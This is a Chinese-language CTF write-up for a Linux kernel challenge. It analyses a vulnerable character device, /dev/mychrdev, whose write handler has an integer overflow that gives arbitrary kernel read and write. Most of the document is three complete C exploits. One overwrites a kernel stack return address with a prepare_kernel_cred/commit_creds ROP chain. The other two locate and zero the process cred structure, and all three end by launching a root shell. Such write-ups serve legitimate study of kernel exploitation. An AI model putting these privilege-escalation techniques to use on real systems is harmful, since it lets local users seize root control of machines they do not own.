[toc]
查看文件
查看保护机制:
之前一直想复现一下这道题,当时没找到洞在哪。
IDA分析
首先了解这么几个参数:
文件的读写指针,规定write和read的位置;
文件的头指针,指向文件内容开始的地方,它存放在mydata+0x10000中,表示文件内容的起始地址相对于mydata的偏移;
三是文件的大小,它存放在mydata+0x10008中。
除此之外我们需要了解文件结构体:
struct file {
union {
struct llist_node fu_llist;
struct rcu_head fu_rcuhead;
} f_u;
struct path f_path;
struct inode *f_inode; /* cached value */
const struct file_operations *f_op;
/* * Protects f_ep_links, f_flags. * Must not be taken from IRQ context. */
spinlock_t f_lock;
enum rw_hint f_write_hint;
atomic_long_t f_count;
unsigned int f_flags;
fmode_t f_mode;
struct mutex f_pos_lock;
loff_t f_pos; // 偏移 0x68 这也就是后面的一个功能可以对这个值控制
struct fown_struct f_owner;
const struct cred *f_cred; // 这里指向当前进程的cred结构体,偏移0x90
struct file_ra_state f_ra;
u64 f_version;#ifdef CONFIG_SECURITY
void *f_security;#endif
/* needed for tty driver, and maybe others */
void *private_data;
#ifdef CONFIG_EPOLL
/* Used by fs/eventpoll.c to link all the hooks to this file */
struct list_head f_ep_links;
struct list_head f_tfile_llink;#endif /* #ifdef CONFIG_EPOLL */
struct address_space *f_mapping;
errseq_t f_wb_err;
errseq_t f_sb_err; /* for syncfs */} __randomize_layout
主要有这几个功能
接下来一个一个的进行分析:
mychrdev_unlocked_ioctl
拷贝对应的 struct file 结构体 0xc8 位置的指针指向的内容(前0x28字节)到用户空间。可以泄露堆栈地址信息。
write
write每向 off + *(mydata+0x10000) + mydata 进行写操作,内容为用户空间传过去的值。同时 *(mydata + 0x10008) 处的值增大。
其实这个off = file->f_pos
我们看看write函数执行的检查:
第⼀个if判断,off⼤于0xffff和off⼤于等于已写⼊的总字符数同时成⽴时,才会返 回; 第⼆个if判断,⽤来更新n的值;如果off+n(要写⼊的字符数)的和⼤于0x10000 时,则对n重新赋值,n=0x10000-off。
可以发现,如果off的值大于0x10000时,在第⼆个if判断时,就会是 n=0x10000-0x10001,就会使得n的值发⽣整数溢出(强制转换(unsigned __int16)),就可以越界写。 那么,off能否取值为0x10001呢?可以⾸先使得* (_QWORD *)(mydata + 0x10008) )的值很⼤,这样,即使off>0xffff了,也可以通过第⼀个if的check。 如此⼀来,就可以对mydata+0x10001处的值进⾏写⼊了,配合控制off的值,就可以达到任意地址写的效果,同样的也就完成了任意地址读的目的。
read
file->f_pos + have_use + mydata 处的内容传给用户空间。
llseek
llseek用来同过设置 file->f_ops 设置 write() 和 read() 读写的位置。也就是设置read和write的第四个参数指针的值
思路
思路有三种:
1.第一种是直接任意地址写来改栈上的返回地址为rop拿shell
1:通过ioctl(fd,0x1111,stack)来leak内核栈、堆的地址信息;
2:通过write-lseek-write的操作增⼤写⼊的总字节数(*(_QWORD *)(mydata + 0x10008)),超出0x10000的范围,使得write函数第⼀个if判断,即使off的值 是⼤于0xffff的,依然可以继续执⾏。
3:通过lseek设置off=0x10001,然后write,由于off+n要⼤于0x10000,所 以会重新计算n=0x10000-0x10001,由于后⾯类型的转换为⽆符号数, n=0xffff,可以溢出写mydata+0x10000处的值。
4:可以控制mydata+0x10000、off的值,已知mydata的基地址,就可以实 现任意地址写了;由于已知栈的地址,所以选择劫持ret。
5:通过write在ret处写⼊rop提权数据,完成提权。这⾥rop提权师傅们已经 将得很详细了,就不再过多阐述。
2.第二种是爆破得到file结构体地址,根据file结构体得到cred地址去修改cred值
1.控制地址写的位置的主要是:file->f_pos(以下简称llseek)、以及 *(mydata+0x10000) 处存储的值。
2.通过多次的 write 配合 lseek,可以实现将 (mydata+0x10008) 一直增大,配合lseek,触发在write 函数中的一个溢出,可以实现对于 (mydata+0x10000) 和 *(mydata+0x10008) 这两个关键位置的劫持。
3.劫持 (mydata+0x10000) 和 (mydata+0x10008) 后,配合read函数进行任意地址读,爆破 file 结构体的地址,读取0x98大小,最后8个字节即为 file->f_cred 指向当前进程的 cred 结构体。
4.通过计算偏移,重新设置 lseek 和 *(mydata+0x10000) ,配合write函数做任意地址写,目标地址为我们爆破出的 cred 结构体的地址。
5.将当前进程的cred结构体前0x28写成全0,达到提权的目的。
3.爆破字符串得到cred地址,修改cred的值
与上面getshell方式类似,只是得到cred地址方式不同。
exp
exp1
#include<stdio.h>
#include <sys/types.h>//这⾥提供类型pid_t和size_t的定义 open
#include <sys/stat.h>
#include <fcntl.h>
//ioctl
#include <unistd.h> /* System V */
#include <sys/ioctl.h> /* BSD and Linux */
#include <stropts.h> /* XSI STREAMS */
#include<string.h>
//gcc -static ./exp.c -o exp
#define pop_rdi_ret 0xffffffff813ead2c
#define xchg_rax_rdi_ret 0xffffffff81768ef2
#define prepare_kernel_cred 0xffffffff8108d690
#define commit_creds 0xffffffff8108d340
#define swapgs_fq_bp_ret 0xffffffff81c00eae
#define iretq 0xffffffff81025a56
size_t user_cs, user_ss, user_rflags , user_sp;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags), "=r"
(user_sp));
}
static void shell(){
printf("hget root\n");
system("/bin/sh");
exit(0);
}
int main(){
save_state();
int fd = open("/dev/mychrdev",2);
char buffer[0x20000];
size_t stack[6];
ioctl(fd,0x1111,stack);
size_t stack_data = stack[2];
printf("stack_data is %p\n",stack_data);
size_t temp=0xffffffff;
size_t base=0xffffc90000000000;
size_t stack_base = (stack_data&temp)|base;
size_t mydata = stack[4];
printf("stack==> %p\n",stack_base);
printf("mydata==> %p\n",mydata);
write(fd,buffer,0xf000);
lseek(fd,0,0);
write(fd,buffer,0xf000);
size_t stack_target = stack_base -0x10;
size_t stack_base_00 = stack_target & 0xffffffffffffff00;
size_t stack_offset = stack_target & 0xff;
lseek(fd,0x10001,0);
size_t offset = (stack_base_00 - mydata) >> 8;
getchar();
write(fd,&offset,1);
lseek(fd,stack_offset,0);
size_t rop[50];
int i = 0;
rop[i++]=pop_rdi_ret;
rop[i++]=0;
rop[i++]=prepare_kernel_cred;
rop[i++]=xchg_rax_rdi_ret;
rop[i++]=commit_creds;
rop[i++]=swapgs_fq_bp_ret;
rop[i++]=0;
rop[i++]=0;
rop[i++]=iretq;
rop[i++]=&shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
write(fd,rop,0x80);
return 0;
}
exp2
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
// #include <linux/fs.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
size_t user_cs, user_ss, user_rflags, user_sp; // 保存用户态寄存器状态
size_t startup_64,prepare_kernel_cred,commit_creds,offset,canary;
void save_status()
{
__asm__( "mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
int main(){
int fd;
size_t buf[0x10] = { 0 };
size_t buf2[8192 + 2] = { 0 };
size_t store = 0 ;
buf2[8192] = 0xffffffffffffffff ;
size_t buf3[0x10] = { 0 };
buf3[0] = 0x6262626262626262 ;
size_t buf4[0x100] = { 0 };
// printf( "addr:%p\n" ,&buf);
int size;
fd = open("dev/mychrdev",O_RDWR);
puts("");
puts( "come to write!" );
ioctl(fd,0x1111,&buf);
for (int i=0;i<5;i++){
printf("0x%llx\n",buf[i]);
}
// 不停的扩大 mydata + 0x10008 的值
write(fd,buf2,0x10000 );
lseek(fd,-0x10000,SEEK_CUR);
write(fd,buf2,0x10000 ); // 0x0000000000000000 0x0000000000010008
lseek(fd,-0x10000,SEEK_CUR);
write(fd,buf2,0x10000 );
lseek(fd,-0x10000,SEEK_CUR);
// 0x30000
lseek(fd,0x10001,SEEK_SET); // 溢出 ,写 0x6161616161616161
// buf2[0] = 0x0000000000000000 ;
buf2[0] = - 0x6d6 ;
// buf2[0] = - 0x7d8 ; // 0x280
buf2[1] = 0x111111111111 ;
// size_t full = 0xffffffffffffffff ;
write(fd,buf2,0x10); // 任意写 mydata + 0x10000 和 mydata + 0x10008 处的值
// lseek(fd, 0 ,SEEK_SET);
// sleep( 1 );
read(fd,buf4,0x98 );
// sleep( 1 );
printf("read:0x%lx\n",buf4[18]); // 爆破一个字节,读出cred结构体的位置
size_t cred_addr = buf4[18];
lseek(fd,0x5d568,SEEK_CUR);
size_t cred_offset = 0 ;
size_t fuck[5] = { 0 };
fuck[0] = (size_t)(cred_addr - 0xffff88800db40000 );
fuck[1] = 0x111111111111 ;
write(fd,fuck,0x10);
lseek(fd,-0x80000,SEEK_CUR); // lseek 归零,为任意写做准备
size_t fuck_cred[0x10] = {0};
cred_offset = cred_addr - 0xffff88800dbc0000 ;
puts("[*]fuck cred");
write(fd,fuck_cred, 0x28 ); // 任意写,fuck cred
puts("[*]done" );
system("echo \"root shell\" && /bin/sh");
return 0;
// 0xffffffffc0000000
// 0xffffffff81000000
// .text: 0000000000000145 mov rdx, cs:mydata
// mydata: 0xffff88800db40000
// 0xffffffffc00002a7
// struct file : 0xffff88800daf3a00
}
exp3
exp来自队里的师傅
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
size_t heap;
void id()
{
printf("uid:%d\n", getuid());
}
void show()
{
int fd = open("/dev/mychrdev", O_RDONLY);
u_char buf[0x100];
ioctl(fd, 0x1111, buf);
u_char *p = buf;
printf("%d\n", *(int *)p);
p += 4;
printf("%s\n", p);
p += 0x10;
printf("0x%x\n", *(int *)p);
p += 4;
printf("0x%x\n", *(long *)p);
p += 8;
printf("%p\n", *(size_t *)p);
heap = *(size_t *)p;
close(fd);
}
void print_hex(char *buf, size_t len)
{
int i;
for (i = 0; i < ((len / 8) * 8); i += 8)
{
printf("0x%lx", *(size_t *)(buf + i));
if (i % 16)
printf(" ");
else
printf("\n");
}
printf("\n");
}
int main()
{
id();
show();
int fd = open("/dev/mychrdev", O_WRONLY);
u_char buf[0x10010];
memset(buf, 0, sizeof buf);
for (int i = 0; i < 2; i++)
{
long n = write(fd, buf, 0x10000);
lseek(fd, 0, 0);
}
close(fd);
size_t addr = 0x10000, pre_addr = 0;
size_t cred, real_cred, target_addr;
char target[16] = "try2findmep4nda";
prctl(PR_SET_NAME, target);
for (;; pre_addr = addr, addr += 0x10000)
{
// printf("pre_addr:0x%lX\n",heap-pre_addr);
// printf("addr:0x%lX\n", heap-addr);
size_t pos = pre_addr + 0x10001;
// printf("pos:0x%lx\n", pos);
fd = open("/dev/mychrdev", O_WRONLY);
int n = lseek(fd, pos, 0);
// printf("0x%x\n", n);
// *(size_t *)buf = -0x10000LL;
*(size_t *)buf = -(long long)(addr >> 8);
*(size_t *)(buf + 8) = 0x100000000000LL;
n = write(fd, buf, 0x1000);
// printf("%x\n\n", n);
close(fd);
memset(buf, 0, sizeof buf);
fd = fd = open("/dev/mychrdev", O_RDONLY);
n = lseek(fd, 0, 0);
// printf("%d\n", n);
n = read(fd, buf, 0x10000);
// printf("%d\n\n", n);
close(fd);
if (n != -1)
{
u_int result = memmem(buf, 0x10000, target, 16);
if (result)
{
size_t temp = buf + result - (u_int)buf;
real_cred = *(size_t *)(temp - 0x10);
// target_addr = heap - addr + result - (u_int)(buf);
break;
}
}
else
{
break;
}
}
pre_addr=addr;
size_t mod=(real_cred>>16)<<16;
addr=heap-mod;
size_t p_pos=real_cred-mod;
// printf("%p\n", pre_addr);
// printf("%p\n", addr);
// printf("%p\n", mod);
// printf("%p\n", p_pos);
fd = open("/dev/mychrdev", O_WRONLY);
size_t pos = pre_addr + 0x10001;
int n = lseek(fd, pos, 0);
*(size_t *)buf = -(long long)(addr >> 8);
*(size_t *)(buf + 8) = 0x100000000000LL;
n = write(fd, buf, 0x1000);
// printf("%x\n\n", n);
close(fd);
memset(buf, 0, sizeof buf);
fd = fd = open("/dev/mychrdev", O_RDONLY);
n = lseek(fd, p_pos, 0);
// printf("%d\n", n);
n = read(fd, buf, 0x100);
// printf("%d\n\n", n);
close(fd);
// print_hex(buf,0x100);
// printf("\n");
for(int i=0;i<0x28;i++)
{
buf[i]=0;
}
// print_hex(buf, 0x100);
fd = fd = open("/dev/mychrdev", O_WRONLY);
n = lseek(fd, p_pos, 0);
// printf("%d\n", n);
n = write(fd, buf, 0x100);
// printf("%d\n\n", n);
close(fd);
id();
// close(fd);
system("/bin/sh");
return 0;
}